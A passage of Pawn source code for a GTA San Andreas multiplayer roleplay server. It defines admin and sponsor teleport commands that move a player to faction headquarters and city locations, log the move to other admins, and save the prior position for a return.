				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, -324.015747, 1530.309082, 75.356956);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to News Reporter HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to News Reporter HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//----------Taxi------------------
	if(strcmp(cmd, "/goto10", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 940.95,1733.65,8.87);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 940.95,1733.65,8.87);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Taxi Drivers HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Taxi Drivers HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
		if(strcmp(cmd, "/goto17", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 851.554443, -1438.704467, 15.043654);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 851.554443, -1438.704467, 15.043654);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Unknowns HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Unknowns HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//-------------Si-------------------
	if(strcmp(cmd, "/goto11", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1171.03,1366.71,10.17);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1171.03,1366.71,10.17);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to School Instructors HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to School Instructors HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//----------Tiger-------------
	if(strcmp(cmd, "/goto12", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 2627.33,2333.95,10.59);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 2627.33,2333.95,10.59);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Dangerous Tigers Family HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Dangerous Tigers Family HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//------LM-------------
	if(strcmp(cmd, "/goto13", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1124.83,-2036.66,69.64);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1124.83,-2036.66,69.64);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Legendary Men Family HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Legendary Men Family HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_GREEN, "Successfully Teleport: You Have Been Teleported!.");
		  }
	   }
	   return 1;
	}
	//--------FNF---------------------
	if(strcmp(cmd, "/goto14", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 1447.13,751.73,10.46);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 1447.13,751.73,10.46);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Fast N Furious HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Fast N Furious HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//---------Strom--------------------
	if(strcmp(cmd, "/goto15", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 2798.05,-1088.51,31.64);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 2798.05,-1088.51,31.64);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Storm Men Family HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Storm Men Family HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//------------------------TTC
	if(strcmp(cmd, "/goto16", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
	   if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
	   if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
		  if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
		  {
			 if (GetPlayerState(playerid) == 2)
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				new tmpcar = GetPlayerVehicleID(playerid);
				SetVehiclePos(tmpcar, 908.92,-1248.06,15.93);
				TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
			 }
			 else
			 {
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				GoBack1[playerid][0] = GetPlayerInterior(playerid);
				GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
				GoBack1[playerid][2] = Mahal[playerid];
				GoBack1[playerid][3] = TooHouse[playerid];
				GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, 908.92,-1248.06,15.93);
			 }
			 Mahal[playerid] = 9999;
			 TooHouse[playerid] = 9999;
			 TooBiz[playerid] = 9999;
											new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Tow Truck Company HQ", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
			 SendClientMessage(playerid, COLOR_GRAD1, "You have been teleported to Tow Truck Company HQ.");
			 SetPlayerInterior(playerid,0);
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
		if(strcmp(cmd, "/gotobanklv", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 2577.4768,1325.4229,10.8203);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 2577.4768,1325.4229,10.8203);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Bank LV", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Bank LV");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command! !");
				}
			}
			return 1;
		}
/*
		if (strcmp(cmd, "/sendls", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 7)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Sendls <Playerid/PartOfName>");
						return 1;
					 }
					giveplayerid = ReturnUser6(tmp);
					if(IsAtjail(giveplayerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
					if(InSleep[giveplayerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't teleport this player because this player is asleep.");
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							SetPlayerInterior(giveplayerid, 0);
							SetPlayerVirtualWorld(giveplayerid, 0);
							SetPlayerPos(giveplayerid,1529.6,-1691.2,13.3);
							Mahal[giveplayerid] = 9999;
							TooHouse[giveplayerid] = 9999;
							TooBiz[giveplayerid] = 9999;
							SendMessage(giveplayerid, COLOR_CRS3, "You have been teleported to the LS.");
						 new adm[114];
					   {
					   format(adm, sizeof(adm), "{FFFFFF}Admin %s has been sent %s to LS !", PlayerInfo[playerid][pName], PlayerInfo[giveplayerid][pName]);
					  AdminWarn(adm);
					   }
						}
					}
				}
				else
				SendMessage(playerid, COLOR_CRS3, "   You are not authorized to use this command!");
			}
			return 1;
		}
*/
/*if(strcmp(cmd, "/gotohotel", true) == 0)
		   {
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 732.699951,-1276.144897,13.566292);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 732.699951,-1276.144897,13.566292);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
													new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to Hotel", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to Hotel");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}*/
		if(strcmp(cmd, "/gotols", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
						GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					  GoBack1[playerid][0] = GetPlayerInterior(playerid);
					  GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					  GoBack1[playerid][2] = Mahal[playerid];
					  GoBack1[playerid][3] = TooHouse[playerid];
					  GoBack1[playerid][4] = TooBiz[playerid];
					  
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1529.6,-1691.2,13.3);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					  GoBack1[playerid][0] = GetPlayerInterior(playerid);
					  GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					  GoBack1[playerid][2] = Mahal[playerid];
					  GoBack1[playerid][3] = TooHouse[playerid];
					  GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1529.6,-1691.2,13.3);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to LS", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to LS");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/gotocnn", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1096.190,-1795.526,13.166);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						SetPlayerPos(playerid, 1096.190,-1795.526,13.166);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s goes to CNN", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported to CNN");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/gotojail", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
				if(PlayerInfo[playerid][pAdmin] >= 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 1804.727,-1576.213,13.000);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
						SetPlayerPos(playerid, 1804.727,-1576.213,13.000);
					}
					Mahal[playerid] = 9999;
					TooHouse[playerid] = 9999;
					TooBiz[playerid] = 9999;
					new adm[114];
				{
				format(adm, sizeof(adm), "{FFFFFF}Admin %s has Go to Jail !", PlayerInfo[playerid][pName]);
				AdminWarn(adm);
				}
					SendMessage(playerid, COLOR_GRAD1, "You have been teleported !");
					SetPlayerInterior(playerid,0);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		*/
		   /* if(strcmp(cmd, "/gototafrihi", true) == 0)
  {
   if(IsPlayerConnected(playerid))
   {
	if(PlayerInfo[playerid][pAdmin] >= 1)
	{
	if (GetPlayerState(playerid) == 2)
	{
	 new tmpcar = GetPlayerVehicleID(playerid);
	 SetVehiclePos(tmpcar, -2048.969,-69.559,34.748);
	 TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
	}
	else
	{
	 SetPlayerPos(playerid, -2048.969,-69.559,34.748);
	}
	Mahal[playerid] = 9999;
	TooHouse[playerid] = 9999;
	TooBiz[playerid] = 9999;
		 new adm[114];
				{
			format(adm, sizeof(adm), "{FFFFFF}Admin %s has Go to Tafrihestan :D !", PlayerInfo[playerid][pName]);
			AdminWarn(adm);
				}
	SendMessage(playerid, COLOR_GRAD1, "You have been teleported !");
	SetPlayerInterior(playerid,0);
	}
	else
	{
	SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
	}
   }
   return 1;
  } */
		if(strcmp(cmd, "/gotochurch", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_SINA3, "Error: You can't goto when you're asleep.");
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					if (GetPlayerState(playerid) == 2)
					{
					GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
					GoBack1[playerid][0] = GetPlayerInterior(playerid);
					GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
					GoBack1[playerid][2] = Mahal[playerid];
					GoBack1[playerid][3] = TooHouse[playerid];
					GoBack1[playerid][4] = TooBiz[playerid];
						new tmpcar = GetPlayerVehicleID(playerid);
						SetVehiclePos(tmpcar, 2484.816,917.962,10.394);
						TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;
					}
					else
					{
